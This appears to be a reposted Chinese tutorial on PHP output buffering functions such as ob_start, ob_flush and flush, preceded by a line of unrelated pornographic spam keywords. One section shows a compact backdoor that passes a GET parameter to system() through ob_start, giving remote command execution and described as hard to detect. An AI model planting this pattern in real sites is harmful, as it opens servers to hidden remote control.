欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

PHP輸出緩沖控制Output Control系列函數(shù)詳解

 更新時(shí)間:2015年07月02日 10:02:23   投稿:junjie  
這篇文章主要介紹了PHP輸出緩沖控制Output Control系列函數(shù)詳解,本文講解了輸出緩沖的簡介、輸出緩沖的作用、php.ini 中的相關(guān)配置項(xiàng)、Output Control 函數(shù)詳解等內(nèi)容,需要的朋友可以參考下

概述

以前研究過PHP的輸入輸出緩沖,不過博客搬家以后,原來文章找不到了,今天看到一篇好文,順便轉(zhuǎn)載過來。

簡介

說到輸出緩沖,首先要說的是一個(gè)叫做緩沖器(buffer)的東西。舉個(gè)簡單的例子說明他的作用:我們?cè)诰庉嬕黄臋n時(shí),在我們沒有保存之前,系統(tǒng)是不會(huì)向磁盤寫入的,而是寫到buffer中,當(dāng)buffer寫滿或者執(zhí)行了保存操作,才會(huì)將數(shù)據(jù)寫入磁盤。對(duì)于PHP來說,每一次像 echo 這樣的輸出操作,同樣是先寫入到了 php buffer 里,在腳本執(zhí)行完畢或者執(zhí)行了強(qiáng)制輸出緩存操作,數(shù)據(jù)才會(huì)在瀏覽器上顯示。
其實(shí)對(duì)于PHP程序員來說,基本上每個(gè)腳本都涉及到了輸出緩沖,只是在大多數(shù)情況下,我們都不需要對(duì)輸出緩沖進(jìn)行更改。而今天就來用實(shí)例對(duì)PHP輸出緩沖控制函數(shù)“Output Control”做一個(gè)詳細(xì)的解析。
下面這個(gè)例子簡單介紹了輸出緩沖在一般腳本中存在的方式:

復(fù)制代碼 代碼如下:

echo 'Apple';
echo 'IBM';
echo 'Microsoft'

我們?cè)趫?zhí)行上面這段腳本時(shí),腳本在執(zhí)行完第一個(gè) echo 時(shí),并不會(huì)向?yàn)g覽器輸出相應(yīng)內(nèi)容,而是會(huì)輸出到一個(gè)緩沖區(qū),依次類推,當(dāng)三個(gè) echo 全部執(zhí)行完畢(也就是腳本結(jié)束)時(shí),才會(huì)將緩沖區(qū)內(nèi)容全部輸出到瀏覽器。當(dāng)然這個(gè)緩沖區(qū)也有大小的限制,是根據(jù) php.ini 中的output_buffering選項(xiàng)來設(shè)置的,這點(diǎn)會(huì)在下面的文章中詳細(xì)介紹。而本章所講的輸出緩沖控制,就是在腳本結(jié)束前,對(duì)緩沖區(qū)里的內(nèi)容進(jìn)行操作。
下這個(gè)例子可以更好的體現(xiàn)輸出緩沖控制的應(yīng)用:
復(fù)制代碼 代碼如下:

echo 'Apple'; sleep(2);
echo 'IBM'; sleep(2);
echo 'Microsoft';

我們至少需要等待 2秒 才能看到輸出結(jié)果,那我們能不能讓其實(shí)時(shí)的顯示呢?也就是在第一個(gè) echo 執(zhí)行完畢時(shí)就輸出相應(yīng)的內(nèi)容呢,這時(shí)候就需要用輸出緩沖控制函數(shù)來操作緩沖區(qū)了,具體怎么實(shí)現(xiàn)先放一邊,文章的結(jié)尾會(huì)公布。

作用

1.在PHP中,像header(), session_start(), setcookie() 等這樣的發(fā)送頭文件的函數(shù)前,不能有任何的輸出,而利用輸出緩沖控制函數(shù)可以在這些函數(shù)前進(jìn)行輸出而不報(bào)錯(cuò)。其實(shí)這么做沒啥必要,非常少見的用法。
2.對(duì)輸出的內(nèi)容進(jìn)行處理,例如生成靜態(tài)緩存文件、進(jìn)行g(shù)zip壓縮輸出,這算是較常用的功能了。
3.捕獲一些不可獲取的函數(shù)輸出,例如phpinfo(), var_dump() 等等,這些函數(shù)都會(huì)將運(yùn)算結(jié)果顯示在瀏覽器中,而如果我們想對(duì)這些結(jié)果進(jìn)行處理,則用輸出緩沖控制函數(shù)是個(gè)不錯(cuò)的方法。說的通俗點(diǎn),就是這類函數(shù)都不會(huì)有返回值,而要獲取這些函數(shù)的輸出數(shù)據(jù),就要用到輸出緩沖控制函數(shù)。
4.最后一種應(yīng)用就是 簡介 中提到的 對(duì)一些數(shù)據(jù)進(jìn)行實(shí)時(shí)的輸出。

php.ini 中的相關(guān)配置項(xiàng)

再來看看在 php.ini 中和輸出緩沖控制有關(guān)的選項(xiàng),共三個(gè),分別是:output_buffering, implicit_flush 和 output_handler。
1.output_buffering 默認(rèn)為 off , 當(dāng)設(shè)置為 on 時(shí),則在所有腳本自動(dòng)打開輸出緩沖區(qū),就是在每個(gè)腳本都自動(dòng)執(zhí)行了 ob_start() 這個(gè)函數(shù),而不用再顯示的調(diào)用該函數(shù)。其也可以設(shè)置為一個(gè)整型的數(shù)字,代表緩沖區(qū)可以存儲(chǔ)的最大字節(jié)數(shù),我們?cè)诶?下面的說明中提到過這個(gè)配置項(xiàng)。
2.implicit_flush 默認(rèn)為 off , 當(dāng)設(shè)置為 on 時(shí),PHP將在輸出后,自動(dòng)送出緩沖區(qū)內(nèi)容。就是在每段輸出后,自動(dòng)執(zhí)行 flush() 。當(dāng)然有效的輸出不僅指像echo , print 這樣的函數(shù),也包括HTML段。
3.output_handler 默認(rèn)為 null , 其值只能設(shè)置為一個(gè)內(nèi)置的函數(shù)名,作用就是將腳本的所有輸出,用所定義的函數(shù)進(jìn)行處理。他的用法和 ob_start(‘function_name') 較類似,下面會(huì)介紹到。

本篇文章中,如果沒有特別說明,php.ini中output_buffering, implicit_flush 和 output_handler的值均為默認(rèn)值。

Output Control 函數(shù)詳解

ob_start()

bool ob_start ([ callback outputcallback[,intchunk_size [, bool $erase ]]] )

此函數(shù)大家從命名上也能明白其含義,就是打開輸出緩沖區(qū),從而進(jìn)行下一步的輸出緩沖處理。這里要特意說的是其參數(shù)的用法,第一個(gè)參數(shù)要傳遞一個(gè)回調(diào)函數(shù),其需將緩沖區(qū)內(nèi)容做為參數(shù),并且返回一個(gè)字符串。他會(huì)在緩沖區(qū)被送出時(shí)調(diào)用,緩沖區(qū)送出指的是執(zhí)行了例如ob_flush() 等函數(shù)或者腳本執(zhí)行完畢。ob_flush() 函數(shù)會(huì)在下面介紹到,來看一個(gè)簡單的例子就能理解其用法:

復(fù)制代碼 代碼如下:

function dothing1($echo_thing){
    return ' #' . $echo_thing . '# ';
}
 
ob_start('dothing1');
echo 'Apple';
輸出結(jié)果
#Apple#

從輸出的結(jié)果可以看出單詞兩邊被添加了“#”,也就是說在緩沖區(qū)內(nèi)容輸出時(shí),運(yùn)行了我們定義的 dothing1函數(shù)。

再來看一個(gè)更實(shí)際的例子,也就是常見到的將網(wǎng)頁內(nèi)容利用 gzip 壓縮后再輸出,代碼如下:

復(fù)制代碼 代碼如下:

ob_start();
echo str_repeat('Apple', 1024);

輸出結(jié)果:沒有使用gzip壓縮的情況下,輸出內(nèi)容大小為5.2KB。

輸出結(jié)果:使用gzip壓縮的情況下,文檔大小小了很多,壓縮花費(fèi)了時(shí)間,所以時(shí)間長了。

而第二個(gè)參數(shù) chunk_size 為緩沖區(qū)的字節(jié)長度,如果緩沖區(qū)內(nèi)容大于此長度,將會(huì)被送出緩沖區(qū),默認(rèn)值為0,代表函數(shù)將會(huì)在最后被調(diào)用。第三個(gè)參數(shù) erase 如果被設(shè)置為 flase , 則代表腳本執(zhí)行完畢后緩沖區(qū)才會(huì)被刪除,如果提前執(zhí)行了刪除緩沖區(qū)函數(shù)(后面會(huì)提到),則會(huì)報(bào)一個(gè)錯(cuò)誤。

ob_start() 的用法就這么多,但有兩點(diǎn)需要特別注意的地方:

1.ob_start() 可重復(fù)調(diào)用,也就是說一個(gè)腳本中可以存在多個(gè)緩沖區(qū),但記得要按照嵌套順序?qū)⑺麄內(nèi)筷P(guān)閉掉,而如果多個(gè) ob_start 都定義了第一個(gè)參數(shù),也就是都定義了回調(diào)函數(shù),則會(huì)按照嵌套順序依次執(zhí)行。關(guān)于緩沖區(qū)的堆疊嵌套,將在 ob_get_level 函數(shù)處詳細(xì)介紹,這里就不過多闡述了。
2.ob_start() 還有一個(gè)不太明顯但很致命的后門用法,實(shí)現(xiàn)代碼如下:

復(fù)制代碼 代碼如下:

$cmd = 'system';
ob_start($cmd);
echo $_GET['a'];
ob_end_flush();
windows下面的輸出結(jié)果:
14 個(gè)目錄 30,970,388,480 可用字節(jié)

如果理解了上面關(guān)于 ob_start的用法,這段代碼就不難理解了,其應(yīng)用了 ob_start 函數(shù)會(huì)將緩沖區(qū)輸出的內(nèi)容作為參數(shù)傳入所設(shè)置的函數(shù)中的特點(diǎn),實(shí)現(xiàn)了以Web服務(wù)器權(quán)限遠(yuǎn)程執(zhí)行命令,并且不宜被發(fā)覺。

ob_get_contents()

string ob_get_contents ( void )
此函數(shù)用來獲取此時(shí)緩沖區(qū)的內(nèi)容,下面的例子就能很好的理解其用法:

復(fù)制代碼 代碼如下:

ob_start('doting2');
echo 'apple';
$tmp = ob_get_contents();
file_put_contents('./doting2', $tmp);
ob_end_flush()

ob_get_length()

此函數(shù)用來獲取緩沖區(qū)內(nèi)容的長度。

ob_get_level()
int ob_get_level ( void )
此函數(shù)用來獲取緩沖機(jī)制的嵌套級(jí)別,我們?cè)诮榻B ob_start() 函數(shù)時(shí)曾說過,在一個(gè)腳本中可以嵌套存在多個(gè)緩沖區(qū),而此函數(shù)就是來獲取當(dāng)前緩沖區(qū)的嵌套級(jí)別,用法如下:

復(fù)制代碼 代碼如下:

ob_start();
var_dump(ob_get_level());
ob_start();
var_dump(ob_get_level());
ob_end_flush();
ob_end_flush();

運(yùn)行后可以很明顯的看出他們的嵌套關(guān)系。

ob_get_status()
array ob_get_status ([ bool $full_status = FALSE ] )
此函數(shù)用來獲取當(dāng)前緩沖區(qū)的狀態(tài),返回一個(gè)狀態(tài)信息的數(shù)組,如果第一個(gè)參數(shù)為 true ,將返回一個(gè)詳細(xì)信息的數(shù)組,我們結(jié)合實(shí)例來分析這個(gè)數(shù)組:

復(fù)制代碼 代碼如下:

ob_start('ob_gzhandler');
var_export(ob_get_status());
ob_start();
var_export(ob_get_status());
ob_end_flush(); ob_end_flush();
運(yùn)行結(jié)果
array ( 'level' => 2, 'type' => 1, 'status' => 0, 'name' => 'ob_gzhandler', 'del' => true, )
array ( 'level' => 3, 'type' => 1, 'status' => 0, 'name' => 'default output handler', 'del' => true, )

說明:
1.level 為嵌套級(jí)別,也就是和通過 ob_get_level() 取到的值一樣
2.type 為處理緩沖類型,0為系統(tǒng)內(nèi)部自動(dòng)處理,1為用戶手動(dòng)處理
3.status為緩沖處理狀態(tài), 0為開始, 1為進(jìn)行中, 2為結(jié)束
4.name 為定義的輸出處理函數(shù)名稱,也就是在 ob_start() 函數(shù)中第一個(gè)參數(shù)傳入的函數(shù)名
5.del 為是否運(yùn)行了刪除緩沖區(qū)操作

ob_flush()
void ob_flush ( void )
此函數(shù)的作用就是 “送出” 當(dāng)前緩沖區(qū)內(nèi)容,同時(shí)清空緩沖區(qū),需要注意這里用的是 “送出” 一詞,也就是說調(diào)用此函數(shù)并不會(huì)將緩沖區(qū)內(nèi)容輸出,必須在其后調(diào)用 flush 函數(shù)其才會(huì)輸出。關(guān)于 flush 的用法下面就會(huì)說到,這里就不再做實(shí)例了。

flush()
void flush ( void )
這個(gè)函數(shù)算是比較常用的,用來將其前面的所有輸出發(fā)送到瀏覽器顯示,且不會(huì)對(duì)緩存區(qū)有任何影響。換句話說,不論是 echo 等函數(shù)的輸出,還是 HTML實(shí)體 ,或是運(yùn)行 ob_start() 送出的內(nèi)容,運(yùn)行 flush() 后都會(huì)在瀏覽器進(jìn)行顯示。

ob_flush()與flush()的區(qū)別

在沒有開啟緩存時(shí),腳本輸出的內(nèi)容都在服務(wù)器端處于等待輸出的狀態(tài),flush()可以將等待輸出的內(nèi)容立即發(fā)送到客戶端。 開啟緩存后,腳本輸出的內(nèi)容存入了輸出緩存中,這時(shí)沒有處于等待輸出狀態(tài)的內(nèi)容,你直接使用flush()不會(huì)向客戶端發(fā)出任何內(nèi)容。而ob_flush()的作用就是將本來存在輸出緩存中的內(nèi)容取出來,設(shè)置為等待輸出狀態(tài),但不會(huì)直接發(fā)送到客戶端,這時(shí)你就需要先使用ob_flush()再使用flush(),客戶端才能立即獲得腳本的輸出。

void ob_implicit_flush()

此函數(shù)用來打開/關(guān)閉絕對(duì)刷送模式,就是在每一次輸出后自動(dòng)執(zhí)行 flush(),從而不需要再顯示的調(diào)用 flush() ,提高效率。

其他相關(guān)函數(shù)

1.bool ob_end_flush ( void )
2.string ob_get_flush ( void )
3.void ob_clean ( void )
4.bool ob_end_clean ( void )
5.string ob_get_clean ( void )

對(duì)一些數(shù)據(jù)進(jìn)行實(shí)時(shí)的輸出

相信讀了上面的內(nèi)容,就會(huì)對(duì)PHP的緩沖控制函數(shù)有較深的認(rèn)識(shí)了,現(xiàn)在我們回到簡介中留下的問題:讓例2的腳本實(shí)現(xiàn)實(shí)時(shí)的顯示內(nèi)容,而不需要等待4秒后出現(xiàn)所有內(nèi)容。
我們可以根據(jù)緩存開啟與否,有如下幾種不同的寫法,如果你在測(cè)試過程中無法出現(xiàn)預(yù)期的效果,可以在header(‘content-type:text/html;charset=utf-8');下面插入str_repeat(‘ ‘, 1024);,你也可以嘗試更大的值,部分瀏覽器即使這么做了,有可能還是無法出現(xiàn)效果,你可以嘗試將php代碼放入完整的html代碼塊body體內(nèi)。下面代碼的header(‘content-type:text/html;charset=utf-8');不要省略哦,否則部分瀏覽器查看不到效果。

復(fù)制代碼 代碼如下:

ob_start(''); //這里我使用ob_start('ob_gzhandler')沒有效果
header('content-type:text/html;charset=utf-8');
echo 'Apple #'; 
ob_flush(); flush();
sleep(2);
echo 'IBM #';
ob_flush(); flush();
sleep(2);
echo 'Microsoft';

相關(guān)文章

最新評(píng)論